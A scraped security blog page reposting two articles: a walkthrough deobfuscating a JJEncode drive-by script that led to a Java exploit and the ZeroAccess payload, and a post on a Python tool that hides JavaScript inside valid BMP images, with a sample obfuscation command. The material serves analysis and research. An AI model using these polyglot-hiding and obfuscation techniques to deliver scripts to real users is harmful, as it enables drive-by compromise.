a.forEach=n,a.map=p,a.filter=o,a.extend=q,a.indexOf=s,a.keys=t,a.values=u,a.find=r,a.firstInBoth=v,a}),bc("cloudflare/dom",function(){var a={};return a.userAgent=X,a.internetExplorer=fb,a.chrome=Z,a.opera=_,a.firefox=Y,a.webkit=cb,a.macintosh=db,a.safari=$,a.ios=ab,a.android=bb,a.windows=eb,a.hasCreateElementCallApply=gb,a.hasAttachEventCallApply=ib,a.hasStandardEvents=jb,a.hasStandardAccessors=kb,a.hasAlternateAccessors=lb,a.hasTextContent=mb,a.hasStorage=nb,a.getAttribute=ob,a.setAttribute=pb,a.removeAttribute=qb,a.getData=rb,a.setData=sb,a.removeData=tb,a.addEventListener=ub,a.removeEventListener=vb,a.createElement=wb,a.textContent=xb,a.nodeListToArray=yb,a.getViewport=Ab,a.performance=Bb,a.onLoad=Db,a.onReady=Cb,a.write=Eb,a.preventDefault=zb,a}),bc("cloudflare/classes",function(){return c}),bc("cloudflare/user",function(){var a={};return a.getCookie=M,a.setCookie=L,a.storage=N,a}),bc("cloudflare/path",function(){var a={};return a.parseURL=Rb,a.stringifyURL=Sb,a.parseExtension=Vb,a.resolveFullURL=Tb,a.resolvePath=Wb,a.sameOrigin=Ub,a}),bc("cloudflare/utility",function(){var a={};return a.defineProperty=Fb,a.getOwnPropertyDescriptor=Gb,a.split=Hb,a.getClass=Ib,a.isString=Jb,a.isArray=Kb,a.toArray=Ob,a.now=Lb,a.uid=Nb,a.trim=Mb,a.globalEval=Pb,a.nextTick=j,a.noop=Qb,a}),bc("cloudflare/loader",function(){var a={};return a.load=$b,a.ajax=Yb,a}),bc("cloudflare/config",function(){return q({},d)}),bc("cloudflare",function(){return CloudFlare}),"JSON"in a?bc("cloudflare/json",function(){return JSON}):cc(["cloudflare/json"],function(){n(Zb,function(){}),Zb=[]}),CloudFlare.block,d.apps){var dc={};dc.cdnjs=0,dc.smrtln=0,dc.excpnhb=0,dc.ape=0,dc.panopta=0,dc.blitz=0,dc.cdgrd=0,dc.dome9=0,dc.gsha=0,dc.monitis_key=0,dc.ping_key=0,dc.stphck=0,dc.webmst=0,dc.zoompf_report=0,dc.mobeeself=0,dc.verelo=0,n(d.apps,function(a,b){0!==dc[b]&&("highlight"===b?b="cloudflare/highlight":d.paths[b]=a&&a.cfjs_path||d.paths.cloudflare+"apps/",bc(b+"/config",function(){return a}),"ga_key"!=b&&cc([b]))})}delete d.paths.apps,d.rocket&&"0"!==d.rocket&&CloudFlare.block(["cloudflare/rocket"]),d.oracle&&CloudFlare.require(["cloudflare/oracle"]),d.mirage2&&CloudFlare.require(["cloudflare/mirage2"])}(window,document,"undefined"!=typeof window.__CF&&window.__CF.DJS||"object"==typeof window.DJS&&window.DJS.length&&window.DJS||[]);



Trackback 0 Comment 0
2014.04.08 18:31

JJEncode Script Leads to Drive-By

The use of JJEncode in a drive-by download has been around for a couple of years but has been popping up a lot recently. A couple of readers have asked how to deobfuscate this so here’s a walkthrough with a live script.

Here’s an automobile forum that’s been compromised:

Viewing the source code, this link kicks off the infection:

Then from alnera.eu, you end up getting this strange looking Javascript:

What is this? It’s output from JJEncode, a cool script made by Yosuke Hasegawa. It uses only symbols to generate valid Javascript code which, in this case, leads to the compromise of your PC.

2013-07-04_04

There’s a few ways to deobfuscate this script. I’ll show you two ways. Here’s the slow way but this is how you can understand a little of what’s happening.

First make sure you have “<!DOCTYPE>” at the beginning since this only works with HTML 4.0 and above (with IE anyway). If you’re going to use Firefox or other browser then you don’t have to do this. Now search for semi-colons and add a new line in between. Look carefully for the semi-colons in between quotes as you need to leave those alone. What you will likely end up with will look something like this (the bottom portion won’t have any semi-colons to separate on).

2013-07-04_05

Since I’m working on a malicious script, I want to do this carefully so I’m commenting out everything below what I’m working on. There’s an equal sign near the beginning of each line. This indicates that the characters before it is a variable and the characters after is the value. So all I’m doing is “alerting” on the variable so I can see what each line does. Here’s the first one:

2013-07-04_06

Here is the result:

2013-07-04_07

And the second. Notice that I left the first line uncommented. The reason is that it defines the variable “_” so if I comment the first line, nothing will happen on subsequent lines.

2013-07-04_08

Keep going until you reach the line just before the large block of symbols:

2013-07-04_09

The result tells us that this is a function call and if you look closely you at the end of the script, you’ll realize that the major portion of the script is a self-executing function.

2013-07-04_10

So we can just replace “_.$(” with “alert(“:

2013-07-04_11

And we can see the result:

2013-07-04_12

If you want to see how the original code looks like, we can make a change to the very end of the line. From this:

2013-07-04_13

To this:

2013-07-04_14

And then we get this result:

2013-07-04_15

Here’s the second way you can deobfuscate this script. It’s fast and easy but may not work 100% of the time. Just add this to the top like so:

2013-07-04_16

And the final result appears:

2013-07-04_17

Let’s take a look now at the malicious script and applet. The values of the parameters are base64-encoded. The top URL refers to the payload file. The bottom part loads a single Java applet from another URL and a parameter contains a link to the same payload but with a slightly different URL.

2013-07-04_18

This is a new exploit pack that the industry named “DotCacheF” but it looks like they changed the URL format.

The Java applet is not heavily obfuscated but has a low detection rate. Here’s an excerpt of the code that exploiting CVE-2013-2423.

2013-07-04_19

The payload appears to be ZeroAccess.


출처 : www.kahusecurity.com



Trackback 2 Comment 1
  1. Favicon of https://blog.pages.kr 날으는물고기 2014.04.08 18:31 신고 address edit & del reply

    http://utf-8.jp/public/jjencode.html
    https://hackvertor.co.uk/hvurl/2p

2013.11.05 19:57

Hacking through images

It's long time I don't write on my own blog (more then two months) and if you look at the history bar on your right you will probably figure out  I am slowing down my blog posts a bit if compared to the past years. This happens due the amount of work my security team and I are involved on.

Many different and really important facts happened during the past months, from astonishing NSA revelations to huge BUGs and new Malware kit ready to be purchased. Even if there would be lots to say about all these  I will not dig into them. 

Since "things" went public today I want to share a little and dirty python script which embeds javascript code into bmp images letting those images still valid images, ready to be processed from your favorite browser. 

The following  HTML page wants to parse a bmp file and a javascript file which happen to be the same file: 2.bmp. Theoretically the file should be or a bitmap file or a javascript file. Could it be a javacript and an image file at the same time ? The answer should be NO. It couldn't. But let's see what we have.

Executing this file you'll find out this result:

As you can see, both tags succesfully executed. The Image tag is showing the red Bitmap file and the script tag is doing its job by executing a JavaScript. How is it possible ? How did you write such a file ? The following images show more details about the dirty code who generates these beautiful bitmap files.

The creation procedure.

The  substitution procedure.


This is not magic at all. This is just my implementation of the BMP parsing bug many libraries have. The idea behind this python code is to create a valid BMP header within \x2F\x2A (aka \*) and then close up the end of the image through a \x2A\x2F (aka *\). To be a valid JavaScript file, you need to use the --not used-- header (\x42\x4D) as a variable and/or as a part of the code. This is why before the payload you might inject a simple expression like "=1;" or more commonly used "=a;" The following image shows the first part of a forget BMP header to exploit this eakness.



BTW if you want to downloade the entire code, grab it  here (pasteBIN). 

Run-it as: bmp.py -i image.bmp "alert(\"test\");"



Don't forget, you might want to use obfuscators to better hide your javascript like the following example:

python bmp.py -i 2.bmp "var _0x9c4c=[\"\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\",\"\x0A\",\"\x4F\x4B\"];var a=_0x9c4c[0];function MsgBox(_0xccb4x3){alert(_0xccb4x3+_0x9c4c[1]+a);} ;MsgBox(_0x9c4c[2]);"



Enjoy your new hackish tool !



출처 : marcoramilli.blogspot.com.es


Trackback 1 Comment 0